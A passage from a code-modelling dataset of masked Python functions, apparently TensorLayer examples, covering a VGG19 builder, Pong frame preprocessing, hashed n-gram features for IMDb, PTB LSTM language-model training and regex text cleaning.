act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = Conv2d(net, n_filter=<NUM_LIT>, filter_size=(<NUM_LIT:3>, <NUM_LIT:3>), strides=(<NUM_LIT:1>, <NUM_LIT:1>), act=tf.nn.relu, padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = MaxPool2d(net, filter_size=(<NUM_LIT:2>, <NUM_LIT:2>), strides=(<NUM_LIT:2>, <NUM_LIT:2>), padding='<STR_LIT>', name='<STR_LIT>')<EOL>net = FlattenLayer(net, name='<STR_LIT>')<EOL>net = DenseLayer(net, n_units=<NUM_LIT>, act=tf.nn.relu, name='<STR_LIT>')<EOL>net = DenseLayer(net, n_units=<NUM_LIT>, act=tf.nn.relu, name='<STR_LIT>')<EOL>net = DenseLayer(net, n_units=<NUM_LIT:1000>, act=None, name='<STR_LIT>')<EOL>print(\"<STR_LIT>\" % (time.time() - start_time))<EOL>return net<EOL>", "docstring": "Build the VGG 19 Model\n\nParameters\n-----------\nrgb : rgb image placeholder [batch, height, width, 3] values scaled [0, 1]", "id": "f11062:m3"}
{"signature": "def prepro(I):", "body": "I = I[<NUM_LIT>:<NUM_LIT>]<EOL>I = I[::<NUM_LIT:2>, ::<NUM_LIT:2>, <NUM_LIT:0>]<EOL>I[I == <NUM_LIT>] = <NUM_LIT:0><EOL>I[I == <NUM_LIT>] = <NUM_LIT:0><EOL>I[I != <NUM_LIT:0>] = <NUM_LIT:1><EOL>return I.astype(np.float).ravel()<EOL>", "docstring": "Prepro 210x160x3 uint8 frame into 6400 (80x80) 1D float vector.", "id": "f11074:m0"}
{"signature": "def augment_with_ngrams(unigrams, unigram_vocab_size, n_buckets, n=<NUM_LIT:2>):", "body": "def get_ngrams(n):<EOL><INDENT>return list(zip(*[unigrams[i:] for i in range(n)]))<EOL><DEDENT>def hash_ngram(ngram):<EOL><INDENT>bytes_ = array.array('<STR_LIT:L>', ngram).tobytes()<EOL>hash_ = int(hashlib.sha256(bytes_).hexdigest(), <NUM_LIT:16>)<EOL>return unigram_vocab_size + hash_ % n_buckets<EOL><DEDENT>return unigrams + [hash_ngram(ngram) for i in range(<NUM_LIT:2>, n + <NUM_LIT:1>) for ngram in get_ngrams(i)]<EOL>", "docstring": "Augment unigram features with hashed n-gram features.", "id": "f11076:m0"}
{"signature": "def load_and_preprocess_imdb_data(n_gram=None):", "body": "X_train, y_train, X_test, y_test = tl.files.load_imdb_dataset(nb_words=VOCAB_SIZE)<EOL>if n_gram is not None:<EOL><INDENT>X_train = np.array([augment_with_ngrams(x, VOCAB_SIZE, N_BUCKETS, n=n_gram) for x in X_train])<EOL>X_test = np.array([augment_with_ngrams(x, VOCAB_SIZE, N_BUCKETS, n=n_gram) for x in X_test])<EOL><DEDENT>return X_train, y_train, X_test, y_test<EOL>", "docstring": "Load IMDb data and augment with hashed n-gram features.", "id": "f11076:m1"}
{"signature": "def main(_):", "body": "if FLAGS.model == \"<STR_LIT>\":<EOL><INDENT>init_scale = <NUM_LIT:0.1><EOL>learning_rate = <NUM_LIT:1.><EOL>max_grad_norm = <NUM_LIT:5><EOL>num_steps = <NUM_LIT:20><EOL>hidden_size = <NUM_LIT:200><EOL>max_epoch = <NUM_LIT:4><EOL>max_max_epoch = <NUM_LIT><EOL>keep_prob = <NUM_LIT:1.0><EOL>lr_decay = <NUM_LIT:0.5><EOL>batch_size = <NUM_LIT:20><EOL>vocab_size = <NUM_LIT><EOL><DEDENT>elif FLAGS.model == \"<STR_LIT>\":<EOL><INDENT>init_scale = <NUM_LIT><EOL>learning_rate = <NUM_LIT:1.0><EOL>max_grad_norm = <NUM_LIT:5><EOL>num_steps = <NUM_LIT><EOL>hidden_size = <NUM_LIT><EOL>max_epoch = <NUM_LIT:6><EOL>max_max_epoch = <NUM_LIT><EOL>keep_prob = <NUM_LIT:0.5><EOL>lr_decay = <NUM_LIT><EOL>batch_size = <NUM_LIT:20><EOL>vocab_size = <NUM_LIT><EOL><DEDENT>elif FLAGS.model == \"<STR_LIT>\":<EOL><INDENT>init_scale = <NUM_LIT><EOL>learning_rate = <NUM_LIT:1.0><EOL>max_grad_norm = <NUM_LIT:10><EOL>num_steps = <NUM_LIT><EOL>hidden_size = <NUM_LIT><EOL>max_epoch = <NUM_LIT><EOL>max_max_epoch = <NUM_LIT><EOL>keep_prob = <NUM_LIT><EOL>lr_decay = <NUM_LIT:1> / <NUM_LIT><EOL>batch_size = <NUM_LIT:20><EOL>vocab_size = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", FLAGS.model)<EOL><DEDENT>train_data, valid_data, test_data, vocab_size = tl.files.load_ptb_dataset()<EOL>print('<STR_LIT>'.format(len(train_data)))  <EOL>print('<STR_LIT>'.format(len(valid_data)))  <EOL>print('<STR_LIT>'.format(len(test_data)))  <EOL>print('<STR_LIT>'.format(vocab_size))  <EOL>sess = tf.InteractiveSession()<EOL>input_data = tf.placeholder(tf.int32, [batch_size, num_steps])<EOL>targets = tf.placeholder(tf.int32, [batch_size, num_steps])<EOL>input_data_test = tf.placeholder(tf.int32, [<NUM_LIT:1>, <NUM_LIT:1>])<EOL>targets_test = tf.placeholder(tf.int32, [<NUM_LIT:1>, <NUM_LIT:1>])<EOL>def inference(x, is_training, num_steps, reuse=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>print(\"<STR_LIT>\" % (num_steps, is_training, reuse))<EOL>init = tf.random_uniform_initializer(-init_scale, init_scale)<EOL>with tf.variable_scope(\"<STR_LIT>\", reuse=reuse):<EOL><INDENT>net = tl.layers.EmbeddingInputlayer(x, vocab_size, hidden_size, init, name='<STR_LIT>')<EOL>net = tl.layers.DropoutLayer(net, keep=keep_prob, is_fix=True, is_train=is_training, name='<STR_LIT>')<EOL>net = tl.layers.RNNLayer(<EOL>net,<EOL>cell_fn=tf.contrib.rnn.BasicLSTMCell,  <EOL>cell_init_args={<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT>': True<EOL>},<EOL>n_hidden=hidden_size,<EOL>initializer=init,<EOL>n_steps=num_steps,<EOL>return_last=False,<EOL>name='<STR_LIT>'<EOL>)<EOL>lstm1 = net<EOL>net = tl.layers.DropoutLayer(net, keep=keep_prob, is_fix=True, is_train=is_training, name='<STR_LIT>')<EOL>net = tl.layers.RNNLayer(<EOL>net,<EOL>cell_fn=tf.contrib.rnn.BasicLSTMCell,  <EOL>cell_init_args={<EOL>'<STR_LIT>': <NUM_LIT:0.0>,<EOL>'<STR_LIT>': True<EOL>},<EOL>n_hidden=hidden_size,<EOL>initializer=init,<EOL>n_steps=num_steps,<EOL>return_last=False,<EOL>return_seq_2d=True,<EOL>name='<STR_LIT>'<EOL>)<EOL>lstm2 = net<EOL>net = tl.layers.DropoutLayer(net, keep=keep_prob, is_fix=True, is_train=is_training, name='<STR_LIT>')<EOL>net = tl.layers.DenseLayer(net, vocab_size, W_init=init, b_init=init, act=None, name='<STR_LIT>')<EOL><DEDENT>return net, lstm1, lstm2<EOL><DEDENT>net, lstm1, lstm2 = inference(input_data, is_training=True, num_steps=num_steps, reuse=None)<EOL>net_val, lstm1_val, lstm2_val = inference(input_data, is_training=False, num_steps=num_steps, reuse=True)<EOL>net_test, lstm1_test, lstm2_test = inference(input_data_test, is_training=False, num_steps=<NUM_LIT:1>, reuse=True)<EOL>sess.run(tf.global_variables_initializer())<EOL>def loss_fn(outputs, targets, batch_size):<EOL><INDENT>loss = tf.contrib.legacy_seq2seq.sequence_loss_by_example(<EOL>[outputs], [tf.reshape(targets, [-<NUM_LIT:1>])], [tf.ones_like(tf.reshape(targets, [-<NUM_LIT:1>]), dtype=tf.float32)]<EOL>)<EOL>cost = tf.reduce_sum(loss) / batch_size<EOL>return cost<EOL><DEDENT>cost = loss_fn(net.outputs, targets, batch_size)<EOL>cost_val = loss_fn(net_val.outputs, targets, batch_size)<EOL>cost_test = loss_fn(net_test.outputs, targets_test, <NUM_LIT:1>)<EOL>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>lr = tf.Variable(<NUM_LIT:0.0>, trainable=False)<EOL><DEDENT>tvars = tf.trainable_variables()<EOL>grads, _ = tf.clip_by_global_norm(tf.gradients(cost, tvars), max_grad_norm)<EOL>optimizer = tf.train.GradientDescentOptimizer(lr)<EOL>train_op = optimizer.apply_gradients(zip(grads, tvars))<EOL>sess.run(tf.global_variables_initializer())<EOL>net.print_params()<EOL>net.print_layers()<EOL>tl.layers.print_all_variables()<EOL>print(\"<STR_LIT>\")<EOL>for i in range(max_max_epoch):<EOL><INDENT>new_lr_decay = lr_decay**max(i - max_epoch, <NUM_LIT:0.0>)<EOL>sess.run(tf.assign(lr, learning_rate * new_lr_decay))<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, sess.run(lr)))<EOL>epoch_size = ((len(train_data) // batch_size) - <NUM_LIT:1>) // num_steps<EOL>start_time = time.time()<EOL>costs = <NUM_LIT:0.0><EOL>iters = <NUM_LIT:0><EOL>state1 = tl.layers.initialize_rnn_state(lstm1.initial_state)<EOL>state2 = tl.layers.initialize_rnn_state(lstm2.initial_state)<EOL>for step, (x, y) in enumerate(tl.iterate.ptb_iterator(train_data, batch_size, num_steps)):<EOL><INDENT>feed_dict = {<EOL>input_data: x,<EOL>targets: y,<EOL>lstm1.initial_state.c: state1[<NUM_LIT:0>],<EOL>lstm1.initial_state.h: state1[<NUM_LIT:1>],<EOL>lstm2.initial_state.c: state2[<NUM_LIT:0>],<EOL>lstm2.initial_state.h: state2[<NUM_LIT:1>],<EOL>}<EOL>feed_dict.update(net.all_drop)<EOL>_cost, state1_c, state1_h, state2_c, state2_h, _ = sess.run(<EOL>[cost, lstm1.final_state.c, lstm1.final_state.h, lstm2.final_state.c, lstm2.final_state.h, train_op],<EOL>feed_dict=feed_dict<EOL>)<EOL>state1 = (state1_c, state1_h)<EOL>state2 = (state2_c, state2_h)<EOL>costs += _cost<EOL>iters += num_steps<EOL>if step % (epoch_size // <NUM_LIT:10>) == <NUM_LIT:10>:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>(step * <NUM_LIT:1.0> / epoch_size, np.exp(costs / iters), iters * batch_size / (time.time() - start_time))<EOL>)<EOL><DEDENT><DEDENT>train_perplexity = np.exp(costs / iters)<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, train_perplexity))<EOL>start_time = time.time()<EOL>costs = <NUM_LIT:0.0><EOL>iters = <NUM_LIT:0><EOL>state1 = tl.layers.initialize_rnn_state(lstm1_val.initial_state)<EOL>state2 = tl.layers.initialize_rnn_state(lstm2_val.initial_state)<EOL>for step, (x, y) in enumerate(tl.iterate.ptb_iterator(valid_data, batch_size, num_steps)):<EOL><INDENT>feed_dict = {<EOL>input_data: x,<EOL>targets: y,<EOL>lstm1_val.initial_state.c: state1[<NUM_LIT:0>],<EOL>lstm1_val.initial_state.h: state1[<NUM_LIT:1>],<EOL>lstm2_val.initial_state.c: state2[<NUM_LIT:0>],<EOL>lstm2_val.initial_state.h: state2[<NUM_LIT:1>],<EOL>}<EOL>_cost, state1_c, state1_h, state2_c, state2_h, _ = sess.run(<EOL>[<EOL>cost_val, lstm1_val.final_state.c, lstm1_val.final_state.h, lstm2_val.final_state.c,<EOL>lstm2_val.final_state.h,<EOL>tf.no_op()<EOL>], feed_dict=feed_dict<EOL>)<EOL>state1 = (state1_c, state1_h)<EOL>state2 = (state2_c, state2_h)<EOL>costs += _cost<EOL>iters += num_steps<EOL><DEDENT>valid_perplexity = np.exp(costs / iters)<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, valid_perplexity))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>start_time = time.time()<EOL>costs = <NUM_LIT:0.0><EOL>iters = <NUM_LIT:0><EOL>state1 = tl.layers.initialize_rnn_state(lstm1_test.initial_state)<EOL>state2 = tl.layers.initialize_rnn_state(lstm2_test.initial_state)<EOL>for step, (x, y) in enumerate(tl.iterate.ptb_iterator(test_data, batch_size=<NUM_LIT:1>, num_steps=<NUM_LIT:1>)):<EOL><INDENT>feed_dict = {<EOL>input_data_test: x,<EOL>targets_test: y,<EOL>lstm1_test.initial_state.c: state1[<NUM_LIT:0>],<EOL>lstm1_test.initial_state.h: state1[<NUM_LIT:1>],<EOL>lstm2_test.initial_state.c: state2[<NUM_LIT:0>],<EOL>lstm2_test.initial_state.h: state2[<NUM_LIT:1>],<EOL>}<EOL>_cost, state1_c, state1_h, state2_c, state2_h = sess.run(<EOL>[<EOL>cost_test,<EOL>lstm1_test.final_state.c,<EOL>lstm1_test.final_state.h,<EOL>lstm2_test.final_state.c,<EOL>lstm2_test.final_state.h,<EOL>], feed_dict=feed_dict<EOL>)<EOL>state1 = (state1_c, state1_h)<EOL>state2 = (state2_c, state2_h)<EOL>costs += _cost<EOL>iters += <NUM_LIT:1><EOL><DEDENT>test_perplexity = np.exp(costs / iters)<EOL>print(\"<STR_LIT>\" % (test_perplexity, time.time() - start_time))<EOL>print(<EOL>\"<STR_LIT>\"<EOL>)<EOL>", "docstring": "The core of the model consists of an LSTM cell that processes one word at\na time and computes probabilities of the possible continuations of the\nsentence. The memory state of the network is initialized with a vector\nof zeros and gets updated after reading each word. Also, for computational\nreasons, we will process data in mini-batches of size batch_size.", "id": "f11077:m0"}
{"signature": "def main(_):", "body": "if FLAGS.model == \"<STR_LIT>\":<EOL><INDENT>init_scale = <NUM_LIT:0.1><EOL>learning_rate = <NUM_LIT:1.0><EOL>max_grad_norm = <NUM_LIT:5><EOL>num_steps = <NUM_LIT:20><EOL>hidden_size = <NUM_LIT:200><EOL>max_epoch = <NUM_LIT:4><EOL>max_max_epoch = <NUM_LIT><EOL>keep_prob = <NUM_LIT:1.0><EOL>lr_decay = <NUM_LIT:0.5><EOL>batch_size = <NUM_LIT:20><EOL>vocab_size = <NUM_LIT><EOL><DEDENT>elif FLAGS.model == \"<STR_LIT>\":<EOL><INDENT>init_scale = <NUM_LIT><EOL>learning_rate = <NUM_LIT:1.0><EOL>max_grad_norm = <NUM_LIT:5><EOL>num_steps = <NUM_LIT><EOL>hidden_size = <NUM_LIT><EOL>max_epoch = <NUM_LIT:6><EOL>max_max_epoch = <NUM_LIT><EOL>keep_prob = <NUM_LIT:0.5><EOL>lr_decay = <NUM_LIT><EOL>batch_size = <NUM_LIT:20><EOL>vocab_size = <NUM_LIT><EOL><DEDENT>elif FLAGS.model == \"<STR_LIT>\":<EOL><INDENT>init_scale = <NUM_LIT><EOL>learning_rate = <NUM_LIT:1.0><EOL>max_grad_norm = <NUM_LIT:10><EOL>num_steps = <NUM_LIT><EOL>hidden_size = <NUM_LIT><EOL>max_epoch = <NUM_LIT><EOL>max_max_epoch = <NUM_LIT><EOL>keep_prob = <NUM_LIT><EOL>lr_decay = <NUM_LIT:1> / <NUM_LIT><EOL>batch_size = <NUM_LIT:20><EOL>vocab_size = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", FLAGS.model)<EOL><DEDENT>train_data, valid_data, test_data, vocab_size = tl.files.load_ptb_dataset()<EOL>print('<STR_LIT>'.format(len(train_data)))  <EOL>print('<STR_LIT>'.format(len(valid_data)))  <EOL>print('<STR_LIT>'.format(len(test_data)))  <EOL>print('<STR_LIT>'.format(vocab_size))  <EOL>sess = tf.InteractiveSession()<EOL>input_data = tf.placeholder(tf.int32, [batch_size, num_steps])<EOL>targets = tf.placeholder(tf.int32, [batch_size, num_steps])<EOL>input_data_test = tf.placeholder(tf.int32, [<NUM_LIT:1>, <NUM_LIT:1>])<EOL>targets_test = tf.placeholder(tf.int32, [<NUM_LIT:1>, <NUM_LIT:1>])<EOL>def inference(x, is_training, num_steps, reuse=None):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>print(\"<STR_LIT>\" % (num_steps, is_training, reuse))<EOL>init = tf.random_uniform_initializer(-init_scale, init_scale)<EOL>with tf.variable_scope(\"<STR_LIT>\", reuse=reuse):<EOL><INDENT>net = tl.layers.EmbeddingInputlayer(x, vocab_size, hidden_size, init, name='<STR_LIT>')<EOL>net = tl.layers.DropoutLayer(net, keep=keep_prob, is_fix=True, is_train=is_training, name='<STR_LIT>')<EOL>net = tl.layers.RNNLayer(<EOL>net,<EOL>cell_fn=tf.contrib.rnn.BasicLSTMCell,  <EOL>cell_init_args={'<STR_LIT>': <NUM_LIT:0.0>},  <EOL>n_hidden=hidden_size,<EOL>initializer=init,<EOL>n_steps=num_steps,<EOL>return_last=False,<EOL>name='<STR_LIT>'<EOL>)<EOL>lstm1 = net<EOL>net = tl.layers.DropoutLayer(net, keep=keep_prob, is_fix=True, is_train=is_training, name='<STR_LIT>')<EOL>net = tl.layers.RNNLayer(<EOL>net,<EOL>cell_fn=tf.contrib.rnn.BasicLSTMCell,  <EOL>cell_init_args={'<STR_LIT>': <NUM_LIT:0.0>},  <EOL>n_hidden=hidden_size,<EOL>initializer=init,<EOL>n_steps=num_steps,<EOL>return_last=False,<EOL>return_seq_2d=True,<EOL>name='<STR_LIT>'<EOL>)<EOL>lstm2 = net<EOL>net = tl.layers.DropoutLayer(net, keep=keep_prob, is_fix=True, is_train=is_training, name='<STR_LIT>')<EOL>net = tl.layers.DenseLayer(net, vocab_size, W_init=init, b_init=init, act=None, name='<STR_LIT>')<EOL><DEDENT>return net, lstm1, lstm2<EOL><DEDENT>net, lstm1, lstm2 = inference(input_data, is_training=True, num_steps=num_steps, reuse=None)<EOL>net_val, lstm1_val, lstm2_val = inference(input_data, is_training=False, num_steps=num_steps, reuse=True)<EOL>net_test, lstm1_test, lstm2_test = inference(input_data_test, is_training=False, num_steps=<NUM_LIT:1>, reuse=True)<EOL>sess.run(tf.global_variables_initializer())<EOL>def loss_fn(outputs, targets):  <EOL><INDENT>loss = tf.contrib.legacy_seq2seq.sequence_loss_by_example(<EOL>[outputs], [tf.reshape(targets, [-<NUM_LIT:1>])], [tf.ones_like(tf.reshape(targets, [-<NUM_LIT:1>]), dtype=tf.float32)]<EOL>)<EOL>cost = tf.reduce_sum(loss) / batch_size<EOL>return cost<EOL><DEDENT>cost = loss_fn(net.outputs, targets)  <EOL>cost_val = loss_fn(net_val.outputs, targets)  <EOL>cost_test = loss_fn(net_test.outputs, targets_test)  <EOL>with tf.variable_scope('<STR_LIT>'):<EOL><INDENT>lr = tf.Variable(<NUM_LIT:0.0>, trainable=False)<EOL><DEDENT>tvars = tf.trainable_variables()<EOL>grads, _ = tf.clip_by_global_norm(tf.gradients(cost, tvars), max_grad_norm)<EOL>optimizer = tf.train.GradientDescentOptimizer(lr)<EOL>train_op = optimizer.apply_gradients(zip(grads, tvars))<EOL>sess.run(tf.global_variables_initializer())<EOL>net.print_params()<EOL>net.print_layers()<EOL>tl.layers.print_all_variables()<EOL>print(\"<STR_LIT>\")<EOL>for i in range(max_max_epoch):<EOL><INDENT>new_lr_decay = lr_decay**max(i - max_epoch, <NUM_LIT:0.0>)<EOL>sess.run(tf.assign(lr, learning_rate * new_lr_decay))<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, sess.run(lr)))<EOL>epoch_size = ((len(train_data) // batch_size) - <NUM_LIT:1>) // num_steps<EOL>start_time = time.time()<EOL>costs = <NUM_LIT:0.0><EOL>iters = <NUM_LIT:0><EOL>state1 = tl.layers.initialize_rnn_state(lstm1.initial_state)<EOL>state2 = tl.layers.initialize_rnn_state(lstm2.initial_state)<EOL>for step, (x, y) in enumerate(tl.iterate.ptb_iterator(train_data, batch_size, num_steps)):<EOL><INDENT>feed_dict = {<EOL>input_data: x,<EOL>targets: y,<EOL>lstm1.initial_state: state1,<EOL>lstm2.initial_state: state2,<EOL>}<EOL>feed_dict.update(net.all_drop)<EOL>_cost, state1, state2, _ = sess.run(<EOL>[cost, lstm1.final_state, lstm2.final_state, train_op], feed_dict=feed_dict<EOL>)<EOL>costs += _cost<EOL>iters += num_steps<EOL>if step % (epoch_size // <NUM_LIT:10>) == <NUM_LIT:10>:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>(step * <NUM_LIT:1.0> / epoch_size, np.exp(costs / iters), iters * batch_size / (time.time() - start_time))<EOL>)<EOL><DEDENT><DEDENT>train_perplexity = np.exp(costs / iters)<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, train_perplexity))<EOL>start_time = time.time()<EOL>costs = <NUM_LIT:0.0><EOL>iters = <NUM_LIT:0><EOL>state1 = tl.layers.initialize_rnn_state(lstm1_val.initial_state)<EOL>state2 = tl.layers.initialize_rnn_state(lstm2_val.initial_state)<EOL>for step, (x, y) in enumerate(tl.iterate.ptb_iterator(valid_data, batch_size, num_steps)):<EOL><INDENT>feed_dict = {<EOL>input_data: x,<EOL>targets: y,<EOL>lstm1_val.initial_state: state1,<EOL>lstm2_val.initial_state: state2,<EOL>}<EOL>_cost, state1, state2, _ = sess.run(<EOL>[cost_val, lstm1_val.final_state, lstm2_val.final_state,<EOL>tf.no_op()], feed_dict=feed_dict<EOL>)<EOL>costs += _cost<EOL>iters += num_steps<EOL><DEDENT>valid_perplexity = np.exp(costs / iters)<EOL>print(\"<STR_LIT>\" % (i + <NUM_LIT:1>, max_max_epoch, valid_perplexity))<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>start_time = time.time()<EOL>costs = <NUM_LIT:0.0><EOL>iters = <NUM_LIT:0><EOL>state1 = tl.layers.initialize_rnn_state(lstm1_test.initial_state)<EOL>state2 = tl.layers.initialize_rnn_state(lstm2_test.initial_state)<EOL>for step, (x, y) in enumerate(tl.iterate.ptb_iterator(test_data, batch_size=<NUM_LIT:1>, num_steps=<NUM_LIT:1>)):<EOL><INDENT>feed_dict = {<EOL>input_data_test: x,<EOL>targets_test: y,<EOL>lstm1_test.initial_state: state1,<EOL>lstm2_test.initial_state: state2,<EOL>}<EOL>_cost, state1, state2 = sess.run(<EOL>[cost_test, lstm1_test.final_state, lstm2_test.final_state], feed_dict=feed_dict<EOL>)<EOL>costs += _cost<EOL>iters += <NUM_LIT:1><EOL><DEDENT>test_perplexity = np.exp(costs / iters)<EOL>print(\"<STR_LIT>\" % (test_perplexity, time.time() - start_time))<EOL>print(<EOL>\"<STR_LIT>\"<EOL>)<EOL>", "docstring": "The core of the model consists of an LSTM cell that processes one word at\na time and computes probabilities of the possible continuations of the\nsentence. The memory state of the network is initialized with a vector\nof zeros and gets updated after reading each word. Also, for computational\nreasons, we will process data in mini-batches of size batch_size.", "id": "f11078:m0"}
{"signature": "def basic_clean_str(string):", "body": "string = re.sub(r\"<STR_LIT:\\n>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>return string.strip().lower()<EOL>", "docstring": "Tokenization/string cleaning for a datasets.", "id": "f11079:m0"}
{"signature": "def customized_clean_str(string):", "body": "string = re.sub(r\"<STR_LIT:\\n>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)<EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", string)  <EOL>string = re.sub(r\"<STR_LIT>\", \"<STR_LIT:U+0020>\", string)  <EOL>return string.strip().lower()<EOL>", "docstring": "Tokenization/string cleaning for a datasets.", "id": "f11079:m1"}
